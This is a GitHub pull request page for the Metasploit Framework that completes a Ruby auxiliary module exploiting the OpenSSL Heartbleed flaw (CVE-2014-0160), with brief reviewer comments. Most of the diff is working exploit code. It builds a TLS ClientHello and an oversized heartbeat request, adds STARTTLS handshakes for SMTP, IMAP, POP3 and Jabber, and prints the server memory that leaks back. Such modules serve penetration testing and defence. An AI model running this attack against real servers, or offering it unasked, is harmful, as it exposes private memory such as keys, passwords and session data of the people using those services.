-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Complete @Firefart's OpenSSL Heartbleed attack #3206
Changes from all commits
021da84
80bdbbe
b8e2c9f
4004cd8
a55579d
7dbd690
c20b71e
3254cce
373b05c
3d6c553
d964243
d51aa34
496dd94
39aecb1
153e003
a4e1d86
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -67,7 +67,18 @@ class Metasploit3 < Msf::Auxiliary | |
|
||
HANDSHAKE_RECORD_TYPE = 0x16 | ||
HEARTBEAT_RECORD_TYPE = 0x18 | ||
TLS_VERSION = 0x0302 # TLS 1.1 | ||
TLS_VERSION = { | ||
'1.0' => 0x0301, | ||
'1.1' => 0x0302, | ||
'1.2' => 0x0303 | ||
} | ||
|
||
TTLS_CALLBACKS = { | ||
'SMTP' => :tls_smtp, | ||
'IMAP' => :tls_imap, | ||
'JABBER' => :tls_jabber, | ||
'POP3' => :tls_pop3 | ||
} | ||
|
||
def initialize | ||
super( | ||
|
@@ -78,27 +89,34 @@ def initialize | |
memory data in the response. | ||
}, | ||
'Author' => [ | ||
'Jared Stafford <jspenguin[at]jspenguin.org', # Original Proof of Concept. This module is based on it. | ||
'Neel Mehta', # Vulnerability discovery | ||
'Riku', # Vulnerability discovery | ||
'Antti', # Vulnerability discovery | ||
'Matti', # Vulnerability discovery | ||
'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it. | ||
'FiloSottile', # PoC site and tool | ||
'Christian Mehlmauer <FireFart[at]gmail.com', # Msf module | ||
'Christian Mehlmauer <FireFart[at]gmail.com>', # Msf module | ||
'juan vazquez', #Msf module | ||
'wvu' # Msf module | ||
], | ||
'References' => | ||
[ | ||
'CVE', '2014-0160', | ||
'URL', 'http://heartbleed.com/', | ||
'URL', 'https://github.com/FiloSottile/Heartbleed', | ||
'URL', 'https://gist.github.com/takeshixx/10107280', | ||
'URL', 'http://filippo.io/Heartbleed/' | ||
['CVE', '2014-0160'], | ||
['US-CERT-VU', '720951'], | ||
['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'], | ||
['URL', 'http://heartbleed.com/'], | ||
['URL', 'https://github.com/FiloSottile/Heartbleed'], | ||
['URL', 'https://gist.github.com/takeshixx/10107280'], | ||
['URL', 'http://filippo.io/Heartbleed/'] | ||
], | ||
'License' => MSF_LICENSE, | ||
) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(443), | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Would this module work against other SSL services, SMTP etc? The default port can stay the same even so, but maybe a note in description if so? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. will be merged soon ;) |
||
OptEnum.new('PROTOCOL', [true, 'Protocol to use with SSL', 'WEB', [ 'WEB', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]) | ||
OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]), | ||
OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.1', ['1.0', '1.1', '1.2']]) | ||
], self.class) | ||
end | ||
|
||
|
@@ -109,9 +127,10 @@ def peer | |
def tls_smtp | ||
# https://tools.ietf.org/html/rfc3207 | ||
sock.get_once | ||
sock.put("EHLO #{rand_text_alpha(10)}\n") | ||
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\n") | ||
res = sock.get_once | ||
unless res and res =~ /STARTTLS/i | ||
|
||
unless res && res =~ /STARTTLS/ | ||
return nil | ||
end | ||
sock.put("STARTTLS\n") | ||
|
@@ -123,7 +142,7 @@ def tls_imap | |
sock.get_once | ||
sock.put("a001 CAPABILITY\r\n") | ||
res = sock.get_once | ||
unless res and res =~ /STARTTLS/i | ||
unless res && res =~ /STARTTLS/i | ||
return nil | ||
end | ||
sock.put("a002 STARTTLS\r\n") | ||
|
@@ -135,12 +154,12 @@ def tls_pop3 | |
sock.get_once | ||
sock.put("CAPA\r\n") | ||
res = sock.get_once | ||
if !res or res =~ /^-/ | ||
if res.nil? || res =~ /^-/ | ||
return nil | ||
end | ||
sock.put("STLS\r\n") | ||
res = sock.get_once | ||
if !res or res =~ /^-/ | ||
if res.nil? || res =~ /^-/ | ||
return nil | ||
end | ||
end | ||
|
@@ -155,7 +174,7 @@ def tls_jabber | |
sock.put(msg) | ||
res = sock.get_once | ||
return nil if res.nil? # SSL not supported | ||
return nil if res =~ /stream:error/ or res !~ /starttls/i | ||
return nil if res =~ /stream:error/ || res !~ /starttls/i | ||
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" | ||
sock.put(msg) | ||
sock.get_once | ||
|
@@ -164,56 +183,30 @@ def tls_jabber | |
def run_host(ip) | ||
connect | ||
|
||
case datastore['PROTOCOL'] | ||
when "WEB" | ||
# no STARTTLS needed | ||
when "SMTP" | ||
print_status("Trying to start SSL via SMTP") | ||
res = tls_smtp | ||
if res.nil? | ||
print_error("#{peer} - STARTTLS failed...") | ||
return | ||
end | ||
when "IMAP" | ||
print_status("Trying to start SSL via IMAP") | ||
res = tls_imap | ||
if res.nil? | ||
print_error("#{peer} - STARTTLS failed...") | ||
return | ||
end | ||
when "JABBER" | ||
print_status("Trying to start SSL via JABBER") | ||
res = tls_jabber | ||
if res.nil? | ||
print_error("#{peer} - STARTTLS failed...") | ||
return | ||
end | ||
when "POP3" | ||
print_status("Trying to start SSL via POP3") | ||
res = tls_pop3 | ||
if res.nil? | ||
print_error("#{peer} - STARTTLS failed...") | ||
return | ||
end | ||
else | ||
print_error("Unknown protocol #{datastore['PROTOCOL']}") | ||
unless datastore['STARTTLS'] == 'None' | ||
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}") | ||
res = self.send(TTLS_CALLBACKS[datastore['STARTTLS']]) | ||
if res.nil? | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. unless res There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I think that's probably ok. The Ruby guidelines only say to use |
||
vprint_error("#{peer} - STARTTLS failed...") | ||
return | ||
end | ||
end | ||
|
||
print_status("#{peer} - Sending Client Hello...") | ||
vprint_status("#{peer} - Sending Client Hello...") | ||
sock.put(client_hello) | ||
|
||
server_hello = sock.get | ||
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE | ||
print_error("#{peer} - Server Hello Not Found") | ||
vprint_error("#{peer} - Server Hello Not Found") | ||
return | ||
end | ||
|
||
print_status("#{peer} - Sending Heartbeat...") | ||
sock.put(heartbeat) | ||
vprint_status("#{peer} - Sending Heartbeat...") | ||
heartbeat_length = 16384 | ||
sock.put(heartbeat(heartbeat_length)) | ||
hdr = sock.get_once(5) | ||
if hdr.blank? | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. can hdr be nil? I assume on timeout? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yeah, nil is a possible return value. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I think it even raises EOFError -_- |
||
print_error("#{peer} - No Heartbeat response...") | ||
vprint_error("#{peer} - No Heartbeat response...") | ||
return | ||
end | ||
|
||
|
@@ -222,64 +215,63 @@ def run_host(ip) | |
version = unpacked[1] # must match the type from client_hello | ||
len = unpacked[2] | ||
|
||
unless type == HEARTBEAT_RECORD_TYPE and version == TLS_VERSION | ||
print_error("#{peer} - Unexpected Heartbeat response'") | ||
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']] | ||
vprint_error("#{peer} - Unexpected Heartbeat response'") | ||
disconnect | ||
return | ||
end | ||
|
||
print_status("#{peer} - Heartbeat response, checking if there is data leaked...") | ||
heartbeat_data = sock.get_once(16384) # Read the magic length... | ||
if heartbeat_data and heartbeat_data.length > len | ||
print_status("#{peer} - Heartbeat response with leak...") | ||
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...") | ||
heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length... | ||
if heartbeat_data && heartbeat_data.length > len | ||
print_good("#{peer} - Heartbeat response with leak") | ||
report_vuln({ | ||
:host => rhost, | ||
:port => rport, | ||
:name => self.name, | ||
:refs => self.references, | ||
:info => "Module #{self.fullname} successfully leaked info" | ||
}) | ||
print_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}") | ||
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}") | ||
else | ||
print_error("#{peer} - Looks like there isn't leaked information...") | ||
vprint_error("#{peer} - Looks like there isn't leaked information...") | ||
end | ||
end | ||
|
||
def heartbeat | ||
def heartbeat(length) | ||
payload = "\x01" # Heartbeat Message Type: Request (1) | ||
payload << "\x40\x00" # Payload Length: 16384 | ||
payload << [length].pack("n") | ||
|
||
ssl_record(HEARTBEAT_RECORD_TYPE, payload) | ||
end | ||
|
||
def client_hello | ||
data = "\x01" # Handshake Type: Client Hello (1) | ||
data << "\x00\x00\xd8" # Length: 216 | ||
data << "\x03\x02" # Version TLS 1.1 | ||
data << Rex::Text.rand_text(32) # Random | ||
data << "\x00" # Session ID length | ||
data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102) | ||
data << CIPHER_SUITES.pack("n*") # Cipher Suites | ||
data << "\x01" # Compression methods length (1) | ||
data << "\x00" # Compression methods: null | ||
data << "\x00\x49" # Extensions length (73) | ||
data << "\x00\x0b" # Extension type (ec_point_formats) | ||
data << "\x00\x04" # Extension length | ||
data << "\x03\x00\x01\x02" # Extension data | ||
data << "\x00\x0a" # Extension type (elliptic curves) | ||
data << "\x00\x34" # Extension length | ||
data << "\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11" # Extension data | ||
data << "\x00\x23" # Extension type (Sessionticket TLS) | ||
data << "\x00\x00" # Extension length | ||
data << "\x00\x0f" # Extension type (Heartbeat) | ||
data << "\x00\x01" # Extension length | ||
data << "\x01" # Extension data | ||
hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS | ||
hello_data << "\x53\x43\x5b\x90" # Random generation Time (Apr 8, 2014 04:14:40.000000000) | ||
hello_data << Rex::Text.rand_text(28) # Random | ||
hello_data << "\x00" # Session ID length | ||
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102) | ||
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites | ||
hello_data << "\x01" # Compression methods length (1) | ||
hello_data << "\x00" # Compression methods: null | ||
|
||
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat) | ||
hello_data_extensions << "\x00\x01" # Extension length | ||
hello_data_extensions << "\x01" # Extension data | ||
|
||
hello_data << [hello_data_extensions.length].pack("n") | ||
hello_data << hello_data_extensions | ||
|
||
data = "\x01\x00" # Handshake Type: Client Hello (1) | ||
data << [hello_data.length].pack("n") # Length | ||
data << hello_data | ||
|
||
ssl_record(HANDSHAKE_RECORD_TYPE, data) | ||
end | ||
|
||
def ssl_record(type, data) | ||
record = [type, TLS_VERSION, data.length].pack('Cnn') | ||
record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn') | ||
record << data | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Neel Mehta #Google Security
Riku, Antti and Matti #Codenomicon
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @Meatballs1 , adding!